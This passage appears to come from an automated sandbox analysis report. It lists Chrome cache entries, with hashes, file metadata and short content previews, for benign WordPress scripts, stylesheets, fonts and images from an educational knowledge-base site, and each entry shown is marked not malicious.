Preview:	(()=>{"use strict";const e=e=>Math.abs(parseInt(e,10)),t=(e,t)=>{const a=new Map([["init","init"],["validation_failed","invalid"],["acceptance_missing","unaccepted"],["spam","spam"],["aborted","aborted"],["mail_sent","sent"],["mail_failed","failed"],["submitting","submitting"],["resetting","resetting"],["validating","validating"],["payment_required","payment-required"]]);a.has(t)&&(t=a.get(t)),Array.from(a.values()).includes(t)\|\|(t=`custom-${t=(t=t.replace(/[^0-9a-z]+/i," ").trim()).replace(/\s+/,"-")}`);const n=e.getAttribute("data-status");return e.wpcf7.status=t,e.setAttribute("data-status",t),e.classList.add(t),n&&n!==t&&e.classList.remove(n),t},a=(e,t,a)=>{const n=new CustomEvent(`wpcf7${t}`,{bubbles:!0,detail:a});"string"==typeof e&&(e=document.querySelector(e)),e.dispatchEvent(n)},n=e=>{const{root:t,namespace:a="contact-form-7/v1"}=wpcf7.api;return r.reduceRight(((e,t)=>a=>t(a,e)),(e=>{let n,r,{url:o,path:c,endpoint:s,headers:i,body:l,data:d,...p}=e;"string"==typeof s&&(n=a.repl

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15718)
Category:	downloaded
Size (bytes):	18692
Entropy (8bit):	4.754375391922092
Encrypted:	false
SSDEEP:	384:VYz/VuPTb9Uh31//bEP+XgA1Q0efAJmpr:wNU9Uh31//YWXgAMfACr
MD5:	4CC444663C1E69CB8AC7B909E7192BCA
SHA1:	D00DDC5B9526193FA99BC3995A6D05F995452EA1
SHA-256:	4F79A89D16A5F717110FE080C0BF90B7E05FF95A4C4983F64D33110BF5F9C230
SHA-512:	AE37D08D11AA4337650CBEC0D0F1205A5505CB3E82373873E82CBA093019521CD2B93CFE2DBE4840CE098717287E1F732E9330C90063B122F1C6358664F1B8EE
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/wp-emoji-release.min.js?ver=6.2.6
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return m.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 77x100, components 1
Category:	dropped
Size (bytes):	8916
Entropy (8bit):	3.7162858899422764
Encrypted:	false
SSDEEP:	96:1whPpklTk0jsFQHVoRQYtRbjTEBPa8gAjGgn:14khkaOKVRAXoha8gAGc
MD5:	950EBEF65ABE49A58E19E67E23567C9A
SHA1:	443AC8D98A32AB2FE9893AEE3A4F463B8012AF7D
SHA-256:	8919CD355CE26C874F29102F4DE9004A7E9F7FFE278C96F92771F514A92227E6
SHA-512:	61EDE31B59E355FD5506EB9BAAD7EC0975054A4C665220E06B5082EFDE56E63C0D6A3057A8D42ED461BBBF8FBEE5B2CF8277F2F125B2F2FE259FB43304675F20
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 81, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4129
Entropy (8bit):	7.940488229875713
Encrypted:	false
SSDEEP:	96:zjSBqsrnz99mU0igiuVuiX7Ck+qKPqvZj3pxQ6Hf1X2C+KI8i9accrM3mlh:zjSBnQhuiX7H+qLvZj5xQ+1XXBI8i9an
MD5:	2ED29B646F94FE41CA49FD9C42766AA6
SHA1:	3893934127C291A6FC1988BD2426B466E057F6F8
SHA-256:	13E94B623E4671BE609D59271334684B75DCBA31C82B15B19F19B0A4F030B487
SHA-512:	4B3FED46B11950DF65933E3C50E7CC493CC98D121DCCD6B4887C470C956E8D3A565F7377AE241506FAA6C7460487D42B7EEB6872578CFCAB8930C6D4573EE981
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/3/2021/01/logo-en.png
Preview:	.PNG........IHDR.......Q.....=./.....pHYs.................sRGB.........gAMA......a.....IDATx..].u.8.G....MPnP..U'8...M.t.(.$.@..I'.;A...N`..8..,.&%J.l...{z......I.... .cq..=8P.gM.c..y.%"..D....k...7-.....B.x...\|?......8..5......(....fJ.1yf.P..7..}........N.s<......n.OX...^.c....CL...F.......8.Y...H.4....0.ynNQ.p...@.....J3g.%.D...D8U.3...3.........<..X9_...\IGt.,..C.........OO..y..g.;Wr.>..6.^:e..)Z.^......A.%..~E.}.1..M........Y..pf]........Q...m.o..c.?..w(.......2H.R%o..._k8T..q...$a...,7.h..1W<].......C......V\.0..............9w.J..N...^..\....).L.9..w..i?s.gp..o....&.e!d..o \|.....".'.Q...dakj..'.Hs....<:.....id"J...~M2+...i.....J.Y.6~.n.T..b........q=....I.....#.{.....I.RuGufX....R.6.......L_...~@?....r.E.....l ...].5.......D.x?..(.eU....,[.wB...t...o..v...5..z...=tj..lT..... X.[.6...J..].q...k.oTc...v.#TCe...)fm s.z.._.?.......H.'T._W......O..kO>..O"G.....;..XM.].8M..............H..Y......%l..)...V.M....K.....<.r....*.d..U.R,....mS.N.I

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	5.100549642931417
Encrypted:	false
SSDEEP:	6:UhC6j/7NKZTRYrtH3ERAT8wEggqgq/wl/b0L/o7zBG:Uz77NdG4Cqcl/b0Lag
MD5:	1A0804B1A9D09705657F91FE7CAD4C5A
SHA1:	FEEECE6F0B3E0BCF090547C475329A2772F6B26B
SHA-256:	DCD9F488BD62BA0EE403B07A97E40B9FFD63A0EFF61091588C913B16D5153D48
SHA-512:	9BC7A9FE6CB51765537F21A79F015D1DE49AA8B1DE2613E072C5E108D88CA1877DF320C80842EE7C512BFCD29B9166BDC3C73919B267DD8A20C1962275FA1738
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/classic-themes.min.css?ver=6.2.6
Preview:	/! This file is auto-generated /..wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18820)
Category:	downloaded
Size (bytes):	58632
Entropy (8bit):	4.8739965504312925
Encrypted:	false
SSDEEP:	768:A24BXbuqfvcFoc1qmjJVsDzI3u+c24BXbuqfvcFD:Avdc1qmjJVsDzI3u+cvY
MD5:	4B7AC424A66C254DA51A11B02B72EF64
SHA1:	40AC69FF2F27A660531942D5A63C8845A7135C97
SHA-256:	B3E807543B9232C84B8C2927AEB4184E5CF4BF89E86597ABFB579409903DB04D
SHA-512:	42F536128FB34F28E36913542A7DC5273AD0485F7684BCD2AEBED5D6873A43981BCB0FEE1ED8912B8AAD655A7DA7E2AFEE88824BF7026DED78CC7AC0F0B24309
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.3
Preview:	html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li{text-align:right}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li a img{margin-left:12px}.wpml-language-switcher-block{display:flex;box-sizing:border-box;width:100% !important}.wpml-language-switcher-block>.wp-block-navigation-item,.wpml-language-switcher-block>.wp-block-navigation-item>div{display:flex;width:100% !important}.wpml-language-switcher-block .wp-block-navigation__container{background:unset !important}.wpml-language-switcher-block .hide-arrow .wp-block-navigation__submenu-icon{display:none}.wpml-language-switcher-block .wpml-ls-dropdown ul li button{padding:0}.wpml-language-switcher-block .wpml-ls-dropdown ul li button+.isHorizontal{min-wi

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	67176
Entropy (8bit):	5.300685131873708
Encrypted:	false
SSDEEP:	768:yD0DiDXDEDLBDNKDGDmDNQytALLNamG4lDYVLaNLf//+MfuLhNUY4pUWJELXN+CW:LB0tFD0ob4MqR
MD5:	034D5ADC1CBEDC8D7E0E7EDD3B85B3BF
SHA1:	5296F6D4A3757879FF503163D2F08A293B15FE55
SHA-256:	4E10DF21374BF29431A4189A853D94CFA2DDABA4E89E8DFF3B823F94B10E5D95
SHA-512:	B0D62434F9523D110C52F9896055CFE6A16B046B35DEC55ACD58B086E8A60EE0D2A3F8C2161FEB053CF5D29075AD7DB2F3D953DE70CDBD330C71A40012E1ACDA
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. font-stretch: 100%;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48325)
Category:	downloaded
Size (bytes):	97517
Entropy (8bit):	4.9140255569308
Encrypted:	false
SSDEEP:	768:Fi44/Jj1eJYfD5n4CTb2u5SOV+UQ3ZoQsFvc7i9bGUg5zyH5Hi/UYvcHLrbuS/KT:AheJYf6W2u5SOV+UQ3Zo/xHHgf1E0Qz+
MD5:	47CDB0E81EA341AD27A1A0B0BA6B02D8
SHA1:	6195A67B0B7F7919F07309E2C8CE71F3D4729D03
SHA-256:	ACA566587618E75FA291A419C7C430BE02E03FC72F6105658C1BC8E7D59A65E4
SHA-512:	1B2523FCD9A315B111730717C88EF597081BCA94601D9B5B7594D693B61293DE6C1FE9D91E322DACED1BCC611F78FB375D9F7CAEF603418D4A19769054248CAF
Malicious:	false
Reputation:	low
URL:	"https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-library/style.min.css,qver=6.2.6.pagespeed.ce.R82w6B6jQa.css"
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .w

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 100x100, components 1
Category:	downloaded
Size (bytes):	6836
Entropy (8bit):	5.367947747444129
Encrypted:	false
SSDEEP:	96:ULM7SpqUd6LSLC1GaNxSxO0xPlXs3HejJ6CGwxm8ejZCABMDKMi:Bs5acxdXs3I5m8e1CyMni
MD5:	62E7347B9CFF9DB7E244F2A56126CF67
SHA1:	019E1C8DBBEC8B8E5B1EAABEC1AE32ABFFDF2832
SHA-256:	6403EA3C18C2148C7A2D574F5A0ECFED71458C07E352EB2DBAD1445D9E317876
SHA-512:	45A208344D5C00CF24ADF78974D1E355CD84479B78E761F1589D6DD3580EDE6DFD26A4020EDAD068DECFE20AD8D90515B0FFDF73621C183FE1E3009027CDC7D0
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-100x100.jpg
Preview:	......JFIF.....,.,......Exif..MM.*.............................V...........^.(.......................i.........f.......,.......,..............0210....................0100..........................................vPhotoshop 3.0.8BIM.......Y.....symbol,auto,correct,arrow,simple,research,approved,automation,safety,checkmark,calculate,generate,element,app,check,tick,analysis,done,quality,system,success,sensor,icon,update,smart,reload,audit,design,certified,vector,successful,process,restart,subscribe,approval,yes,rotation,automatic,refresh,security confirmed,technology,confirm,schedule,cyber,spin,progress,renew,choice,mark,statistics..i.EAutomatic,Self,Vector,Icon.,Isolated,Auto,Generation,Tick,Sign,Design..n..Shutterstock..s..Shutterstock..t.ECopyright (c) 2021 12design/Shutterstock. No use without permission......1919311319...........Mhttp://ns.adobe.com/xap/1.0/.<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>.<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.38'>.<r

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	190
Entropy (8bit):	4.536885257836038
Encrypted:	false
SSDEEP:	3:P5okFqLQhv//Vfu/RqkKJokFqLQFqLQhv//VftVVwkKJokFqLQFpQhv//VfsJV:P5ofLe//6qkSofLzLe//vIkSofLee//w
MD5:	360146CD4BB1402B167CFE2A972BB660
SHA1:	F37504B1C2260C08E7ABE11D2C603CD2188FDB16
SHA-256:	5155CE5602AF8DF7785B8FA0B5818B6CC755E3EA12F39312878EB2C7AF54F989
SHA-512:	78E09D89D6E517BF1C0E93DF85DE0937352995E2FD56C266C02E0A9487E0147E41DF52D5CA686A74B8AB8EC5C5D1D3692D648C21BD647C47777F4977F3DE047A
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/KnowAll%20Custom%20Menu%20Widget/knowall-menu-widget.css?ver=6.2.6
Preview:	.knowall-menu .sub-menu {.. margin-left: 10px;..}.....knowall-menu .sub-menu .sub-menu {.. margin-left: 20px;..}.....knowall-menu .sub-menu .sub-sub-menu {.. margin-left: 30px;..}..

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x89, components 3
Category:	dropped
Size (bytes):	8767
Entropy (8bit):	3.5713658907918635
Encrypted:	false
SSDEEP:	96:1QVLpkITk0jsFbEy5RsWO9py+tCQPfSqBo:18kakaObEAs1i+tvPTBo
MD5:	35219DBF858F349CF5F065704A80F5B0
SHA1:	44B911412DCE654512E4D7E1A4037E27B2712767
SHA-256:	2199B7A3643B60186D2B41EF4A471186AA5C83C67E0FF9D0C54B02BDDD329DAB
SHA-512:	A6315DD3B754BD7598B8EA08F522787E34EE11533F6FAE1A42FEE5314783F36252876D556EC4379741527F0E379531B9E82038E1DEF668ECDCDF91CC04D88352
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	442
Entropy (8bit):	4.386265489828495
Encrypted:	false
SSDEEP:	12:tr3dq8e/IMqinaSYjSHASjtjRhpJlLd+Qg6obSDfRP6VeRXV6:t7dq8EKNSUSgSZtDJlBBPDB6Vey
MD5:	9D53286E86E17D587510BF752267B64C
SHA1:	43A974A7E8BAACA66C2C491C27208F376E486F55
SHA-256:	AB33BB269F5D469AAA053C29777D536EE3579BE104A6E16D922C95AF5F40BA1D
SHA-512:	43DF0145D4EAF395E30948A951B0ED92B9AC0208C351DEE118B997BB67B80F164D3C3604361057F7130AE86F6E5D83F628CAF462F9281488414F55F60AA71ED9
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/search.svg
Preview:	<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-343-342q-179 124-399 124-143 0-273.5-55.5t-225-150-150-225-55.5-273.5 55.5-273.5 150-225 225-150 273.5-55.5 273.5 55.5 225 150 150 225 55.5 273.5q0 220-124 399l343 343q37 37 37 90z"/></svg>

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2859
Entropy (8bit):	5.128976775297061
Encrypted:	false
SSDEEP:	48:HrjSTxswDB/P7LUS0BvpKkR2/HSXmpgMPnfFrYHe1rcYlX3orrkwEv4Hm6Hid:HC+2/Vpb/flue1pFwEv4Hmo0
MD5:	0E4A098F3F6E3FAEDE64DB8B9DA80BA2
SHA1:	65B9B3C849F3FBDD783DDBFB183616FF55C7EE53
SHA-256:	AB21762C3F447AA08CBEFD5EA3866165F925BD5058A9AE19E23721462DE6FB60
SHA-512:	47CF04B377C4D5D512EE93439D17D21F6E0C5011E3CDC9EBE2835C91B6BFE7D5B3E4E23DD8C00017D7B235D08A8524A103EDF3A199C8B1D5CB9A182D8D5EAE73
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.5.1
Preview:	.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..clip-path: inset(50%);..height: 1px;..width: 1px;..margin: -1px;..padding: 0;..border: 0;..word-wrap: normal !important;.}...wpcf7 form .wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #00a0d2; /* Blue /.}...wpcf7 form.init .wpcf7-response-output,..wpcf7 form.resetting .wpcf7-response-output,..wpcf7 form.submitting .wpcf7-response-output {..display: none;.}...wpcf7 form.sent .wpcf7-response-output {..border-color: #46b450; / Green /.}...wpcf7 form.failed .wpcf7-response-output,..wpcf7 form.aborted .wpcf7-response-output {..border-color: #dc3232; / Red /.}...wpcf7 form.spam .wpcf7-response-output {..border-color: #f56e28; / Orange /.}...wpcf7 form.invalid .wpcf7-response-output,..wpcf7 form.unaccepted .wpcf7-response-output,..wpcf7 form.payment-required .wpcf7-response-output {..border-color: #ffb900; / Yellow */.}...wpcf7-form-contro

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1597)
Category:	downloaded
Size (bytes):	1598
Entropy (8bit):	4.9242467948786945
Encrypted:	false
SSDEEP:	24:hILSc5Si8yfZDwsgws1Nfq3/ZvtJ7jt846xJ7/:hILSc5SifxDNgNg/Zv7t84UJ7/
MD5:	63192C4F0F3882E55B40B5600AA459AA
SHA1:	0DD65D8BEB4F7A5634C9B05AD0F6B1E33F9D6113
SHA-256:	4C8209E60AB497CBAD6D8C1504C380707A5D724869458B7FFED6C8D194E8209F
SHA-512:	A6CB9621478AC1344AEBCE52CFE24C40C3DFD02D4E6E57C4E00CC44B2BBD2BD2854D849D19BCAE02C53AFFA8E89E2498C9B5CCE70A8A083CA81365051E6EBB95
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/blocks.style.build.css
Preview:	.hg-glossary ,.hg-glossary ::before,.hg-glossary *::after{word-break:initial;-webkit-box-sizing:border-box;box-sizing:border-box}.hg-glossary .hg-glossary__header{margin:0 0 1em}.hg-glossary.is-style-boxed{background:#fafafa;padding:4rem}.hg-glossary.is-style-boxed .hg-content .hg-content__letter{border-bottom:1px solid;padding:1rem 0rem}.hg-glossary .hg-nav{display:-ms-flexbox;display:flex;margin:0 0 1rem;-ms-flex-pack:center;justify-content:center;-ms-flex-wrap:wrap;flex-wrap:wrap}.hg-glossary .hg-nav a.htgb_active_nav{text-decoration:underline}.hg-glossary .hg-nav a.htgb_disabled{color:#494c4d;pointer-events:none}.hg-glossary .hg-nav a.htgb_search_disabled{color:#494c4d;pointer-events:none}.hg-glossary .hg-nav a{display:block;padding:8px;line-height:1;text-decoration:none}.hg-glossary .hg-search{margin:0 0 1rem}.hg-glossary .hg-search input{max-width:100%;width:100%;padding:1rem 1.4rem;border-radius:4px;border:1px solid #ccc}.hg-glossary .hg-content .hg-content__letter{display:blo

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	108997
Entropy (8bit):	4.811629498762287
Encrypted:	false
SSDEEP:	768:EMTMU8TmFn8SM0QllDAjCJqqejl742AvvcvLjTJCjomCZGD6K1StsAsmiOYdk7x7:EK8Aj5qejlnAHcv86K1SSkYmx+11u
MD5:	CB8E68E7317C83C979853E28ED4DDA04
SHA1:	E089675003D300F23C8A151B8BBB526E78AB9041
SHA-256:	C952C87AAAAE1786BE3071ABEADC6091A1F91F6DF1381881CC204861CF770686
SHA-512:	58992E6ECAC3BECC21E4C730BC0C157A4E229B8CE1567DED0D952AD2324FB05FE178FDD8FD359F702861F55F3FA3DFA773B599E0AB7C0C44BC3764D48D56063C
Malicious:	false
Reputation:	low
URL:	"https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/block-editor/style.min.css,qver=6.2.6.pagespeed.ce.y45o5zF8g8.css"
Preview:	:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-right:8px}.block-editor-autocompleters__link{white-space:nowrap}.block-editor-autocompleters__link .block-editor-block-icon{margin-right:8px}.block-editor-block-alignment-control__menu-group .components-menu-item__info{margin-top:0}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-col

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1110
Entropy (8bit):	4.857810668738806
Encrypted:	false
SSDEEP:	24:2dtX915XFRLFlNLT9o/LLkIvLTX5RLFlNLTn:cp7bRRnK/LbBRRnf
MD5:	0EAD521CBEA2703448D0AE6A03136E03
SHA1:	01462F14D34F9D6EA2FCD6A5B172CE537A669085
SHA-256:	ACC022D7D1F51A1A64CA90354B32077C1A573DF840E852B5B7B9EB72808CC203
SHA-512:	D5E0F3BE0BE0C267474E955AF63F1313336E3253A045B0E9C8FF0720673A9461A5B5E2AFF38C502B84D83A302D6C968A6E75F740376C9C09D0114BF2DB2B20D8
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/img/loading.svg
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg width="120" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 30" height="30">. <circle cy="15" cx="15" r="15">. <animate begin="0s" from="15" calcMode="linear" repeatCount="indefinite" attributeName="r" to="15" values="15;9;15" dur="0.8s"/>. <animate begin="0s" from="1" calcMode="linear" repeatCount="indefinite" attributeName="fill-opacity" to="1" values="1;.5;1" dur="0.8s"/>. </circle>. <circle cy="15" cx="60" r="9" fill-opacity=".3">. <animate begin="0s" from="9" calcMode="linear" repeatCount="indefinite" attributeName="r" to="9" values="9;15;9" dur="0.8s"/>. <animate begin="0s" from="0.5" calcMode="linear" repeatCount="indefinite" attributeName="fill-opacity" to="0.5" values=".5;1;.5" dur="0.8s"/>. </circle>. <circle cy="15" cx="105" r="15">. <animate begin="0s" from="15" calcMode="linear" repeatCount="indefinite" attributeName="r" to="15" values="15;9;15" dur="0.8s"/>. <animate begin="0s" from="1" calcMode="linear

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	10208
Entropy (8bit):	4.813309698025169
Encrypted:	false
SSDEEP:	192:CFNefO0U3+GJDaaY08iG+PKFWHFRFdv+94apwblPDBtxcXLzO/iJwcxQbBaIXWwE:CF3Z8vFWFRFQ2S7GpNI
MD5:	E8DA1F3862299E9F0EE6CEF15671FC85
SHA1:	8878DBC54255559F8B231478EE71A2290B6A3383
SHA-256:	E53A5FE9DE8175BBA1C77139349929F1AE23DC834AFD0CC25259F884CCA4AA11
SHA-512:	022E9048C238E70288CBE8AD3F726BB70271EA51A80998BEBB3DC4055B33734DC14F8A737024F20B24B46A887668AB71F269FEEFE6F132DD04EC3747529FD865
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/css/ht-blocks-modules-styles.css?ver=1681771414
Preview:	/ Loads block style modules /./ messages /..wp-block-hb-message {. padding: 1em;. border-radius: 5px;. min-height: 18px;. background: #E7F6F0; }. .wp-block-hb-message.wp-block-hb-message--withicon {. background-image: url("../../img/check-circle.svg"); }. .wp-block-hb-message.is-style-alert {. background: #f7efa6; }. .wp-block-hb-message.is-style-alert.wp-block-hb-message--withicon {. background-image: url("../../img/exclamation-circle.svg"); }. .wp-block-hb-message.is-style-success {. background: #E7F6F0; }. .wp-block-hb-message.is-style-success.wp-block-hb-message--withicon {. background-image: url("../../img/check-circle.svg"); }. .wp-block-hb-message.is-style-danger {. background: #ffe7e5; }. .wp-block-hb-message.is-style-danger.wp-block-hb-message--withicon {. background-image: url("../../img/exclamation-triangle.svg"); }. .wp-block-hb-message.is-style-info {. background: #F0F7FB; }. .wp-block-hb-message.is-style-info.wp-b

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 75x100, components 1
Category:	downloaded
Size (bytes):	8587
Entropy (8bit):	3.466231779610848
Encrypted:	false
SSDEEP:	48:1Ut6NnKkh3qk/3s403qk0eQs2QqoOFVutV/xhe1GD1in57AZP:1UtDpk9Tk0jsFcVut5xheMpy57s
MD5:	4EA52EFFBFF2C6EA4162365CA7114622
